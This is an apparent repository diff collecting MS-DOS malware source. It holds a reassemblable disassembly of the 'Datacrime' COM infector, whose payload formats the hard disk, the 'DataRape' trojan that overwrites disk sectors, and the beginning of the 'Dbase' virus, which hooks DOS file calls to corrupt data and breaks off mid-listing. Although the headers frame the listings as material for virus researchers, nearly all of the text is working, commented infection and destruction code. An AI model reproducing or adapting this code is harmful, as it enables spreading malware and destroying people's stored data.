IMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM; +; : British Computer Virus Research Centre : +; : 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England : +; : Telephone: Domestic 0273-26105, International +44-273-26105 : +; : : +; : The 'Datacrime' Virus : +; : Disassembled by Joe Hirst, May 1989 : +; : : +; : Copyright (c) Joe Hirst 1989. : +; : : +; : This listing is only to be made available to virus researchers : +; : or software writers on a need-to-know basis. : +; HMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM< + + ; The virus occurs attached to the end of a COM file. The first + ; three bytes of the program are stored in the virus, and replaced + ; by a branch to the beginning of the virus. + + ; The disassembly has been tested by re-assembly using MASM 5.0. + + ; Addressability is maintained by taking the offset from the + ; initial jump to the virus. This is the length of the host minus + ; three (length of the jump instruction). Three is subtracted + ; from this figure (presumably the length of the original "host" + ; program when the virus was released). The result is kept in + ; register SI. Data addresses add SI+106H (COM origin of 100H + ; + length of jump + length of initial host) to the offset of the + ; data item within the virus. + + ; Note that if it does nothing else this virus will almost certainly + ; screw up the critical error handler because: + + ; 1. There is a missing segment override on the restore of the + ; original segment (presumably the result of inserting such + ; overrides manually), and + + ; 2. If the virus looks at more than one disk it will reinstall + ; the routine, overwriting the original saved vector with that + ; of its own routine. + +CODE SEGMENT BYTE PUBLIC 'CODE' + ASSUME CS:CODE,DS:CODE + + ORG 09AH +DW009A DW ? + + ORG 101H +DW0101 DW ? + + ; Start of virus - Set up relocation factor + + ORG 0 +START: MOV SI,CS:DW0101 ; Address initial jump to virus + SUB SI,3 ; Length of original host (?) + MOV AX,SI ; Copy relocation factor + CMP AX,0 ; Is it zero (initial release)? + JNE BP0012 ; Branch if not + JMP BP0110 ; Infection routine + + ; Restore host and test initial start month + +BP0012: LEA DI,DB03D5[SI+106H] ; Address stored start of host + MOV BX,0100H ; Address beginning of host program + MOV CX,5 ; Word count +BP001C: MOV AX,[DI] ; Get next word + MOV [BX],AX ; Replace next word + ADD BX,2 ; Address next target word + ADD DI,2 ; Address next stored word + DEC CX ; Reduce count + JNZ BP001C ; Repeat for each word + MOV AH,2AH ; Get date function + INT 21H ; DOS service + MOV AL,CS:DB03EA[SI+106H] ; Get start month + CMP AL,DH ; Is it start month yet? + JG BP0040 ; Branch if not + MOV CS:DB03EA[SI+106H],0 ; Don't do test any more + JMP BP0045 + + ; Pass control to host program + +BP0040: MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Are we in target part of year? + +BP0045: MOV AX,CS:DW03E8[SI+106H] ; Get start month and day + CMP AX,DX ; Compare to actual + JL BP0051 ; Branch if after start date + JMP BP0110 ; Infection routine + + ; Is there a hard disk? + +BP0051: MOV AX,0 ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0106H ; Address Int 41H segment + MOV AX,[BX] ; Get Int 41H segment + POP DS + CMP AX,0 ; Is it zero (no hard disk)? + JNE BP0067 ; Branch if not + MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Display message and format track zero, heads 0 - 8 + +BP0067: LEA BX,DB00E7[SI+106H] ; Address encrypted string + MOV CL,29H ; Load length of string +BP006D: MOV DL,CS:[BX] ; Get a character + XOR DL,55H ; Decrypt character + MOV AH,2 ; Display character function + INT 21H ; DOS service + INC BX ; Address next character + DEC CL ; Reduce count + JNZ BP006D ; Repeat for each character + MOV BX,OFFSET DW00A7+106H ; Address format buffer (no SI?) + MOV CH,0 ; Track zero + MOV DX,0080H ; Head zero, first hard disk +BP0084: MOV CH,0 ; Track zero + MOV AL,0 ; Load zero + MOV CL,6 ; \ Multiply zero by 64 + SHL AL,CL ; / + MOV CL,AL ; Move result (zero) + OR CL,1 ; Now its one (and next line zero) + MOV AX,0500H ; Format track, interleave zero + INT 13H ; Disk I/O + JB BP009F ; Branch if error + INC DH ; Next head + CMP DH,9 ; Is it head nine? + JNE BP0084 ; Format if not +BP009F: MOV AH,2 ; Display character function + MOV DL,7 ; Beep + INT 21H ; DOS service + JMP BP009F ; Loop on beep + + ; Format table (required for ATs and PS/2s) + ; Program does not in fact point to this because the reference + ; to register SI is missing + +DW00A7 DB 0, 01H, 0, 02H, 0, 03H, 0, 04H, 0, 05H, 0, 06H, 0, 07H, 0, 08H + DB 0, 09H, 0, 0AH, 0, 0BH, 0, 0CH, 0, 0DH, 0, 0EH, 0, 0FH, 0, 10H + DB 0, 11H, 0, 12H, 0, 13H, 0, 14H, 0, 15H, 0, 16H, 0, 17H, 0, 18H + DB 0, 19H, 0, 1AH, 0, 1BH, 0, 1CH, 0, 1DH, 0, 1EH, 0, 1FH, 0, 20H + +; The next field decodes to: + +; DB 'DATACRIME VIRUS', 0AH, 0DH +; DB 'RELEASED: 1 MARCH 1989', 0AH, 0DH + +DB00E7 DB 11H, 14H, 01H, 14H, 16H, 07H, 1CH, 18H, 10H + DB 75H, 03H, 1CH, 07H, 00H, 06H, 5FH, 58H + DB 07H, 10H, 19H, 10H, 14H, 06H, 10H, 11H + DB 6FH, 75H, 64H, 75H, 18H, 14H, 07H, 16H + DB 1DH, 75H, 64H, 6CH, 6DH, 6CH, 5FH, 58H + + ; Start of infection routine + +BP0110: MOV AH,19H ; Get current disk function + INT 21H ; DOS service + MOV CS:DB03F5[SI+106H],AL ; Save current disk + MOV AH,47H ; Get current directory function + MOV DX,0 ; Default disk + PUSH SI + LEA SI,DB03F6+1[SI+106H] ; Original directory store + INT 21H ; DOS service + POP SI + MOV CS:DB03EC[SI+106H],0 ; Set disk drive pointer to start + JMP BP0130 ; Select disk drive + + ; Select disk drive from table + +BP0130: CALL BP0172 ; Install Int 24H routine + LEA BX,DB03E3[SI+106H] ; Address disk drive table + MOV AL,CS:DB03EC[SI+106H] ; Get disk drive pointer + INC CS:DB03EC[SI+106H] ; Update disk drive pointer + MOV AH,0 ; Clear top of register + ADD BX,AX ; Add disk drive pointer + MOV AL,CS:[BX] ; Get next disk drive + MOV DL,AL ; Move device for select + CMP AL,0FFH ; End of table? + JNE BP0151 ; Branch if not + JMP BP023C ; Tidy up and terminate + +BP0151: MOV AH,0EH ; Select disk function + INT 21H ; DOS service + MOV AH,47H ; Get current directory function + MOV DL,0 ; Default drive + PUSH SI + LEA SI,DB0417+1[SI+106H] ; Current directory path name + INT 21H ; DOS service + POP SI + MOV BX,4 ; Address critical error + MOV AL,CS:[BX] ; Get critical error code + CMP AL,3 ; Was it three? + JNE BP01B7 ; Branch if not + MOV AL,0 ; \ Set it back to zero + MOV CS:[BX],AL ; / + JMP BP0130 ; Select next disk drive + + ; Install interrupt 24H routine + +BP0172: XOR AX,AX ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0090H ; Address Int 24H vector + MOV AX,[BX+2] ; Get Int 24H segment + MOV CS:DW03CF[SI+106H],AX ; Save Int 24H segment + MOV AX,[BX] ; Get Int 24H offset + MOV CS:DW03D1[SI+106H],AX ; Save Int 24H offset + MOV AX,CS ; Get current segment + MOV [BX+2],AX ; Set new Int 24H segment + LEA AX,BP01AE[SI+106H] ; Int 24H routine + MOV [BX],AX ; Set new Int 24H offset + POP DS + RET + + ; Restore original interrupt 24H + +BP0196: XOR AX,AX ; Clear register + PUSH DS + MOV DS,AX ; Address segment zero + MOV BX,0090H ; Address Int 24H vector + MOV AX,CS:DW03CF[SI+106H] ; Get Int 24H segment + MOV [BX+2],AX ; Restore Int 24H segment + MOV AX,DW03D1[SI+106H] ; Get Int 24H offset (missing CS:) + MOV [BX],AX ; Restore Int 24H offset + POP DS + RET + + ; Interrupt 24H routine + +BP01AE: MOV AL,3 ; Fail the system call + MOV BX,4 ; Address critical error byte + MOV CS:[BX],AL ; Save code + IRET + +BP01B7: CALL BP02DA ; Find and infect a file + MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch + CMP AL,1 ; Is it on? + JNE BP01C6 ; Branch if not + JMP BP023C ; Tidy up and terminate + +BP01C6: CALL BP0260 ; Get next directory + JNB BP01CE ; Branch if found + JMP BP0130 ; Select next disk drive + +BP01CE: MOV CX,0040H ; Maximum characters to copy + PUSH SI + DEC DI ; \ + DEC DI ; ) Address back to '*.*' + DEC DI ; / + MOV WORD PTR [DI],'\ ' ; Word reversed, but overwritten soon + MOV SI,BX ; Address file name + CLD +BP01DC: LODSB ; \ Copy a character + STOSB ; / + DEC CX ; Decrement count + CMP AL,0 ; Was last character zero? + JNE BP01DC ; Next character if not + POP SI + MOV AH,3BH ; Change current directory function + LEA DX,DB0438[SI+106H] ; Directory pathname + INT 21H ; DOS service + CALL BP02DA ; Find and infect a file + MOV AL,CS:DB03EB[SI+106H] ; Get infection completed switch + CMP AL,1 ; Is it on? + JE BP023C ; Tidy up and terminate if yes + CALL BP0260 ; Get next directory + JNB BP01CE ; Branch if found + MOV AH,3BH ; Change current directory function + LEA DX,DB0417[SI+106H] ; Current directory path name + INT 21H ; DOS service + INC CS:DB03E2[SI+106H] ; Increment directory count + CALL BP0260 ; Get next directory + JB BP023C ; Branch if not found + MOV AL,CS:DB03E2[SI+106H] ; Get directory count +BP0214: CMP AL,0 ; Is directory count zero yet? + JNE BP021D ; Branch if not + ADD BX,9 ; ??? + JMP BP01CE ; ??? Add directory name to path + +BP021D: MOV AH,4FH ; Find next file function + PUSH AX + INT 21H ; DOS service + POP AX + JNB BP0228 ; Branch if no error + JMP BP0130 ; Select next disk drive + +BP0228: PUSH AX + MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,15H ; Address attributes byte + MOV AL,10H ; Directory attribute + CMP CS:[BX],AL ; Is it a directory? + POP AX + JNE BP021D ; Branch if not + DEC AL ; Decrement directory count + JMP BP0214 + + ; Reset disk and directory, and pass control to host + +BP023C: MOV AH,0EH ; Select disk function + MOV DL,CS:DB03F5[SI+106H] ; Get original current disk + INT 21H ; DOS service + MOV AH,3BH ; Change current directory function + LEA DX,DB03F6[SI+106H] ; Original directory + INT 21H ; DOS service + CALL BP0196 ; Restore Int 24H + MOV AX,SI ; Copy relocation factor + CMP AX,0 ; Is it zero (initial release)? + JE BP025C ; Terminate 8f not + MOV BX,0100H ; Address beginning of host program + JMP BX ; Branch to host program + + ; Terminate + +BP025C: MOV AH,4CH ; End process function + INT 21H ; DOS service + + ; Get next directory + +BP0260: LEA DI,DB0438+1[SI+106H] ; Directory pathname + MOV CX,003AH ; Length to clear + MOV AL,0 ; Set to zero + CLD + REPZ STOSB ; Clear pathname area + MOV AH,47H ; Get current directory function + PUSH SI + MOV DX,0 ; Current drive + LEA SI,DB0438+1[SI+106H] ; Directory pathname + INT 21H ; DOS service + POP SI + CLD + LEA DI,DB0438+1[SI+106H] ; Directory pathname + MOV CX,0040H ; Length to search + MOV AL,0 ; Search for zero + REPNZ SCASB ; Search for end of pathname + JZ BP0289 ; Branch if found + STC + RET + + ; Set file name wildcard on path + +BP0289: DEC DI ; \ Back two positions + DEC DI ; / + MOV AL,[DI] ; Get character + CMP AL,'\' ; Does path end in dir delim? + JE BP0294 ; Branch if yes + INC DI ; Next position + MOV AL,'\' ; Make next character a dir delim +BP0294: MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'*' ; All files + MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'.' ; Extension + MOV [DI],AL ; Store character + INC DI ; Next position + MOV AL,'*' ; all extensions + MOV [DI],AL ; Store character + INC DI ; Next position + LEA DX,DB0438[SI+106H] ; Address directory pathname + MOV AH,4EH ; Find first file function + MOV CX,0010H ; Find directories + INT 21H ; DOS service + JNB BP02B4 ; Branch if no error + RET + + ; Valid directories only + +BP02B4: MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,15H ; Address attribute byte + MOV AL,10H ; Directory attribute + CMP CS:[BX],AL ; Is it a directory? + JNE BP02D2 ; Branch if not + CLC + MOV AH,2FH ; Get DTA function + INT 21H ; DOS service + ADD BX,1EH ; Address directory name + MOV AL,'.' ; Prepare to test first byte + CMP CS:[BX],AL ; Is it a pointer to another dir? + JE BP02D2 ; Branch if yes + RET + +BP02D2: MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JNB BP02B4 ; Branch if no error + STC + RET + + ; Find and infect a file + +BP02DA: MOV CS:DB03EB[SI+106H],0 ; Set infection completed switch off + MOV AH,4EH ; Find first file function + MOV CX,7 ; All files + LEA DX,DB03ED[SI+106H] ; Address '*.COM' + INT 21H ; DOS service + JNB BP02F6 ; Branch if no error + RET + +BP02EF: MOV AH,4FH ; Find next file function + INT 21H ; DOS service + JNB BP02F6 ; Branch if no error + RET + + ; Exclude COMMAND.COM + +BP02F6: MOV BX,00A4H ; Address seventh letter of name + MOV AL,[BX] ; Get character + CMP AL,'D' ; Is it a 'D' (as in COMMAND.COM)? + JNE BP0301 ; Branch if not + JMP BP02EF ; Next file + + ; Is it already infected? + +BP0301: MOV BX,0096H ; Address time of file + MOV CX,[BX] ; Get time of file + ADD BX,2 ; Address date of file + MOV DX,[BX] ; Get date of file + MOV AL,CL ; Copy low byte of time + AND AL,0E0H ; Isolate low part of minutes + MOV AH,AL ; Copy low part of minutes + SHR AL,1 ; \ + SHR AL,1 ; \ + SHR AL,1 ; ) Move mins to secs position + SHR AL,1 ; / + SHR AL,1 ; / + OR AL,AH ; Combine with minutes + CMP AL,CL ; Compare to actual time + JNE BP0323 ; Branch if different + JMP BP02EF ; Find next file + + ; Uninfected COM file found + +BP0323: PUSH CX + PUSH DX + MOV AX,CS:DW009A ; Get low-order length + MOV CS:DW03D3[SI+106H],AX ; Save low-order length + CALL BP03AA ; Remove read-only attribute + MOV AX,3D02H ; Open handle (R/W) function + MOV DX,009EH ; File name + INT 21H ; DOS service + MOV BX,AX ; Move handle + MOV AH,3FH ; Read handle function + LEA DX,DB03D5[SI+106H] ; Store area for start of host + MOV CX,000AH ; Read first ten bytes + INT 21H ; DOS service + MOV AX,4202H ; Move file pointer (EOF) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV CX,OFFSET ENDADR ; Length of virus + NOP + LEA DX,[SI+106H] ; Address start of virus + MOV AH,40H ; Write handle function + INT 21H ; DOS service + MOV AX,4200H ; Move file pointer (start) function + XOR CX,CX ; \ No displacement + XOR DX,DX ; / + INT 21H ; DOS service + MOV AX,CS:DW009A ; Get low-order length + SUB AX,3 ; Subtract length of jump + MOV CS:DW03E0[SI+106H],AX ; Store displacement in jump + MOV AH,40H ; Write handle function + MOV CX,3 ; Length of jump + LEA DX,DB03DF[SI+106H] ; Address jump instruction + INT 21H ; DOS service + POP DX + POP CX + AND CL,0E0H ; Isolate low part of minutes + MOV AL,CL ; Copy low part of minutes + SHR CL,1 ; \ + SHR CL,1 ; \ + SHR CL,1 ; ) Move mins to secs position + SHR CL,1 ; / + SHR CL,1 ; / + OR CL,AL ; Combine with minutes + MOV AX,5701H ; Set file date & time function + INT 21H ; DOS service + MOV AH,3EH ; Close handle function + INT 21H ; DOS service + CALL BP03C1 ; Replace attributes + MOV CS:DB03EB[SI+106H],1 ; Set infection completed switch on + MOV AH,3BH ; Change current directory function + LEA DX,DB0417[SI+106H] ; Current directory path name + INT 21H ; DOS service + RET + + ; Remove read-only attribute + +BP03AA: MOV DX,009EH ; Address file name + MOV AX,4300H ; Get file attributes function + INT 21H ; DOS service + MOV CS:DW03F3[SI+106H],CX ; Save attributes + AND CX,00FEH ; Set off read-only + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + RET + + ; Replace attributes + +BP03C1: MOV CX,CS:DW03F3[SI+106H] ; Get attributes + MOV DX,009EH ; Address file name + MOV AX,4301H ; Set file attributes function + INT 21H ; DOS service + RET + +DW03CF DW 1142H ; Original Int 24H segment +DW03D1 DW 175DH ; Original Int 24H offset +DW03D3 DW 0039H ; Low-order length of host +DB03D5 DB 0EBH, 02EH, 090H, 'Hello -' ; Store area for start of host +DB03DF DB 0E9H ; \ Jump for host program +DW03E0 DW 0 ; / +DB03E2 DB 0BH +DB03E3 DB 2, 3, 0, 1, 0FFH ; Disk drive table (C, D, A, B) +DW03E8 DW 0A0CH ; Start month and day +DB03EA DB 0 ; Start month +DB03EB DB 0 ; Infection completed switch +DB03EC DB 3 ; Disk drive pointer +DB03ED DB '*.COM', 0 +DW03F3 DW 20H ; File attributes +DB03F5 DB 0 ; Original current disk +DB03F6 DB '\', 0, 'ENTURA', 19H DUP (0) ; Original directory +DB0417 DB '\', 0, 'NPAK', 1BH DUP (0) ; Current directory +DB0438 DB '\*.*', 3CH DUP (0) ; Directory pathname + + DB 000H, 02BH, 0C3H, 074H, 005H, 078H, 002H, 041H + DB 0C3H, 049H, 0C3H, 051H, 052H, 0A1H, 014H, 000H + DB 08BH, 00EH, 01AH, 000H, 08BH, 016H, 01CH, 000H + +ENDADR EQU $ + +CODE ENDS + + END START + diff --git a/MSDOS/Virus.MSDOS.Unknown.daterape.asm b/MSDOS/Virus.MSDOS.Unknown.daterape.asm new file mode 100644 index 00000000..6e26964d --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.daterape.asm @@ -0,0 +1,85 @@ +>>> Article From Evolution #2 - YAM '92 + +Article Title: Data Rape v2.1 Trojan +Author: Admiral Bailey + + +;=--- +; +; DataRape 2.1 Trojan +; +; Disassembled By Admiral Bailey [YAM '92] +; June 25, 1992 +; +; The writers of this virus are Zodiac and Data Disruptor +; +; Notes:Just a regular trojan. This one puts the messege into the +; sector it writes. Even though its not advanced it gets the +; job done. +; +;=--------- +seg_a segment byte public + assume cs:seg_a, ds:seg_a + org 100h + +datarap2 proc far +start: + jmp begin +messege db '----------------------------',0Dh,0ah + db ' DataRape v2.1 ',0dh,0ah + db ' Written by Zodiac and ',0dh,0ah + db ' Data Disruptor ',0dh,0ah +copyright db '(c) 1991 RABID International',0dh,0ah + db '----------------------------',0dh,0ah + +sector db 1 +data_3 db 0 + +begin: + mov ah,0Bh ; write sectors + mov al,45h ; sectors to write to + mov bx,offset messege ; writes this messege + mov ch,0 ; clear out these + mov cl,0 + mov dh,0 + mov dl,80h ; drive + int 13h + + jnc write_loop ; nomatter what jump to + jc write_loop ; the write loop and + jmp short write_loop ; destroy rest of drive + nop +compare: + mov sector,1 ; start writing at sec1 + inc data_3 + jmp short loc_4 + db 90h +write_loop: + cmp data_3,28h + jae quit + cmp sector,9 + ja compare +loc_4: + mov ah,3 ; write sec's from mem + mov al,9 ; # + mov bx,offset messege ; this is in mem + mov ch,data_3 ; cylinder + mov cl,sector ; sector + mov dh,0 ; drive head + mov dl,2 ; drive + int 13h + + inc sector ; move up a sector + jmp short write_loop + db 73h, 02h, 72h, 00h +quit: + mov ax,4C00h + int 21h ; now quit + +datarap2 endp + +seg_a ends + + end start + + diff --git a/MSDOS/Virus.MSDOS.Unknown.dbase.asm b/MSDOS/Virus.MSDOS.Unknown.dbase.asm new file mode 100644 index 00000000..7f287ecb --- /dev/null +++ b/MSDOS/Virus.MSDOS.Unknown.dbase.asm @@ -0,0 +1,1028 @@ + page 65,132 + title The 'Dbase' Virus +; ͻ +; British Computer Virus Research Centre +; 12 Guildford Street, Brighton, East Sussex, BN1 3LS, England +; Telephone: Domestic 0273-26105, International +44-273-26105 +; +; The 'Dbase' Virus +; Disassembled by Joe Hirst, October 1989 +; +; Copyright (c) Joe Hirst 1989. +; +; This listing is only to be made available to virus researchers +; or software writers on a need-to-know basis. +; ͼ + +MCB SEGMENT AT 0 + +IDENT DB ? +OWNER DW ? +MEMSIZE DW ? + +MCB ENDS + +CODE SEGMENT BYTE PUBLIC 'CODE' + + ASSUME CS:CODE,DS:NOTHING + + ; Interrupt 21H routine + +BP0000: PUSHF + CMP AX,0FB0AH ; Infection test function? + JNE BP0010 ; Branch if not + XCHG AH,AL ; Swap bytes + POPF + IRET + + ; Branch to open file function + +BP000A: JMP BP06DB + + ; Branch to new file functions + +BP000D: JMP BP0391 + +BP0010: CMP DI,0FB0AH ; Allow free passage? + JE BP0044 ; Branch if yes + CMP AX,4B00H ; Load and execute function? + JNE BP001E ; Branch if not + JMP BP0490 + +BP001E: CMP AH,6CH ; Extended open/create function? + JE BP000D ; Branch if yes + CMP AH,5BH ; Create new file function? + JE BP000D ; Branch if yes + CMP AH,3CH ; Create handle function? + JE BP000D ; Branch if yes + CMP AH,3DH ; Open handle function? + JE BP000A ; Branch if yes + CMP AH,3FH ; Read handle function? + JE BP004A ; Branch if yes + CMP AH,40H ; Write handle function? + JE BP004D ; Branch if yes + CMP AH,3EH ; Close handle function? + JNE BP0044 ; Branch if not + JMP BP0340 + + ; Pass on to Int 21H + +BP0044: POPF + DB 0EAH ; Far jump +DW0046 DW 0 ; Int 21H offset +DW0048 DW 0 ; Int 21H segment + + ; Branch to read file function + +BP004A: JMP BP00C8 + + ; Branch to write file function + +BP004D: JMP BP015F + + JMP BP04A7 + +DB0053 DB 'c:\bugs.dat', 0 ; File pathname + DB 4EH DUP (0), 0FFH ; Read buffer +DW00AE DW 0 +DB00B0 DB 14H DUP (0) ; Table of file handles +DW00C4 DW 0, 0 + + ; Read file function + +BP00C8: PUSH DI + CALL BP00CC ; \ Get current address +BP00CC: POP DI ; / + SUB DI,1CH ; Address table of file handles +BP00D0: CMP BYTE PTR CS:[DI],0 ; End of table? + JE BP00DE ; Branch if yes + CMP CS:[DI],BL ; Is this the file handle + JE BP00E2 ; Branch if yes + INC DI ; Next entry + JMP BP00D0 + +BP00DE: POP DI + JMP BP0044 ; Pass on to Int 21H + +BP00E2: POP DI + POPF + PUSH CX + PUSH AX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JZ BP012A ; Branch if not + MOV AX,4201H ; Move file pointer (current) function + MOV CX,-1 ; \ Back one byte + MOV DX,CX ; / + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Length to read + POP DX + CALL BP05C3 ; DOS service + POP AX + POP CX + PUSH SI + PUSH BP + MOV SI,DX + MOV BP,[SI] + CALL BP05C3 ; DOS service + PUSHF + PUSH AX + MOV AX,BP + MOV [SI],AL + POP AX + POP BP + POP SI + PUSH CX + PUSH DX + MOV CX,AX + DEC CX + INC DX + CALL BP022D ; Reverse bytes in each word + POP DX + POP CX + JMP BP0138 + +BP012A: POP DX + POP AX + POP CX + CALL BP05C3 ; DOS service + PUSHF + PUSH CX + MOV CX,AX + CALL BP022D ; Reverse bytes in each word + POP CX +BP0138: PUSH CX + PUSH AX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JZ BP0158 ; Branch if not + POP DX + POP AX + PUSH AX + PUSH DX + ADD DX,AX + DEC DX + MOV CX,1 ; Length to read + MOV AH,3FH ; Read handle function + CALL BP05C3 ; DOS service +BP0158: POP DX + POP AX + POP CX + POPF + RETF 2 + + ; Write file function + +BP015F: PUSH DI + CALL BP0163 ; \ Get current address +BP0163: POP DI ; / + SUB DI,OFFSET BP0163-DB00B0 ; Address table of file handles +BP0168: CMP BYTE PTR CS:[DI],0 ; End of table? + JE BP0176 ; Branch if yes + CMP CS:[DI],BL ; Is this the file handle + JE BP017A ; Branch if yes + INC DI ; Next entry + JMP BP0168 + +BP0176: POP DI + JMP BP0044 ; Pass on to Int 21H + +BP017A: CALL BP017D ; \ Get current address +BP017D: POP DI ; / + SUB DI,OFFSET BP017D-DW00C4 + MOV WORD PTR CS:[DI],0 + MOV WORD PTR CS:[DI+2],0 + PUSH AX + PUSH BX + PUSH CX + PUSH DX + MOV AX,4201H ; Move file pointer (current) function + XOR CX,CX ; \ No offset + XOR DX,DX ; / + MOV DI,0FB0AH ; Allow free passage to DOS + INT 21H ; DOS service + TEST AX,1 ; Is location odd number byte? + JNZ BP01C0 ; Branch if yes + POP DX + POP CX + TEST AX,1 ; Is location odd number byte? + JNZ BP01B2 ; Branch if yes (???) + MOV AX,0 + CALL BP0200 + JMP BP01E9 + +BP01B2: MOV AX,1 + CALL BP0200 + JB BP01E9 + CALL BP02B9 + JMP BP01E9 + +BP01C0: POP DX + POP CX + TEST CX,1 + JZ BP01D6 + CALL BP0262 + JB BP01E9 + MOV AX,0100H + CALL BP0200 + JMP BP01E9 + +BP01D6: CALL BP0262 + JB BP01E9 + MOV AX,0101H + CALL BP0200 + JB BP01E9 + CALL BP02B9 + JMP BP01E9 + +BP01E9: POP BX + POP AX + POP DI + CALL BP01EF ; \ Get current address +BP01EF: POP SI ; / + SUB SI,OFFSET BP01EF-DW00C4 + PUSH CS:[SI+2] + POPF + MOV AX,CS:[SI] + POP SI + RETF 2 + +BP0200: CMP CX,1 + JNE BP0209 + CALL BP0242 + RET + +BP0209: CALL BP0215 + CALL BP0242 + PUSHF + CALL BP0215 + POPF + RET + +BP0215: PUSH CX + PUSH DX + CALL BP0220 + CALL BP022D ; Reverse bytes in each word + POP DX + POP CX + RET + +BP0220: CMP AH,1 + JNE BP0227 + INC DX + DEC CX +BP0227: CMP AL,1 + JNE BP022C + DEC CX +BP022C: RET + + ; Reverse bytes in each word + +BP022D: PUSH SI + PUSH CX + PUSH AX + MOV SI,DX + SHR CX,1 ; Divide count by two +BP0234: MOV AX,[SI] ; Get next word + XCHG AH,AL ; Reverse bytes in word + MOV [SI],AX ; Replace word + INC SI ; \ Next word + INC SI ; / + LOOP BP0234 ; Repeat for count + POP AX + POP CX + POP SI + RET + +BP0242: PUSH AX + PUSH CX + PUSH DX + PUSH DI + CALL BP0220 + MOV AH,40H ; Write handle function + INT 21H ; DOS service + PUSHF + CALL BP0251 ; \ Get current address +BP0251: POP DI ; / + SUB DI,OFFSET BP0251-DW00C4 + POP CS:[DI+2] + ADD CS:[DI],AX + POP DI + POP DX + POP CX + POP AX + RET + +BP0262: PUSH AX + PUSH CX + PUSH DX + PUSH SI + PUSH BP + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Length to read + MOV SI,DX + MOV BP,[SI] + INT 21H ; DOS service + JB BP02A3 ; Branch if error + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JB BP02A3 ; Branch if error + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JB BP02A3 ; Branch if error + XCHG BP,[SI] + MOV AX,1 +BP02A3: PUSHF + CALL BP02A7 ; \ Get current address +BP02A7: POP SI ; / + SUB SI,OFFSET BP02A7-DW00C4 + POP CS:[SI+2] + MOV CS:[SI],AX + POP BP + POP SI + POP DX + POP CX + POP AX + RET + +BP02B9: PUSH AX + PUSH CX + PUSH DX + PUSH SI + PUSH BP + MOV SI,DX + ADD SI,CX + DEC SI + MOV DX,1 ; \ Forward one byte + XOR CX,CX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AH,3FH ; Read handle function + MOV CX,1 ; Read one byte + MOV BP,[SI] + INT 21H ; DOS service + JB BP02E0 ; Branch if error + CMP AX,1 ; One byte read? + JNE BP02E0 ; Branch if not + JMP BP02F6 + +BP02E0: MOV CX,-1 ; \ Back one byte + MOV DX,CX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV DX,SI + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + INT 21H ; DOS service + JMP BP032A + +BP02F6: MOV DX,-2 ; \ Back two byte + MOV CX,-1 ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,SI + INT 21H ; DOS service + JB BP032A ; Branch if error + XCHG BP,[SI] + MOV CX,1 ; Length to write + MOV AH,40H ; Write handle function + MOV DX,SI + INT 21H ; DOS service + JB BP032A ; Branch if error + XCHG BP,[SI] + MOV DX,-1 ; \ Back one byte + MOV CX,DX ; / + MOV AX,4201H ; Move file pointer (current) function + INT 21H ; DOS service + MOV AX,1 +BP032A: PUSHF + CALL BP032E ; \ Get current address +BP032E: POP SI ; / + SUB SI,OFFSET BP032E-DW00C4 + POP CS:[SI+2] + ADD CS:[SI],AX + POP BP + POP SI + POP DX + POP CX + POP AX + RET + +BP0340: PUSH BP + PUSH CX + CALL BP0345 ; \ Get current address +BP0345: POP BP ; / + SUB BP,OFFSET BP0345-DW00AE + MOV CX,CS:[BP+0] + CMP CX,0 + JE BP037C + ADD BP,2 +BP0356: CMP CS:[BP+0],BL + JE BP0362 + INC BP + LOOP BP0356 + JMP BP037C + +BP0362: MOV CL,CS:[BP+1] + MOV CS:[BP+0],CL + INC BP + CMP CL,0 + JNE BP0362 + CALL BP0373 ; \ Get current address +BP0373: POP BP ; / + SUB BP,OFFSET BP0373-DW00AE + DEC WORD PTR CS:[BP+0] +BP037C: POP CX + POP BP + JMP BP0044 ; Pass on to Int 21H + +BP0381: JMP BP04A7 + + JMP BP0044 ; Pass on to Int 21H + +DW0387 DW 0 ; File date +DW0389 DW 0 ; File time +DW038B DW 0 ; File attributes +DW038D DW 0 ; Pathname segment +DW038F DW 0 ; Pathname offset + + ; New file functions + +BP0391: PUSH SI + PUSH BP + CMP AH,6CH ; Extended open/create function? + JE BP039A ; Branch if yes + MOV SI,DX ; Copy filepath pointer +BP039A: MOV BP,SI ; Copy filepath pointer + CALL 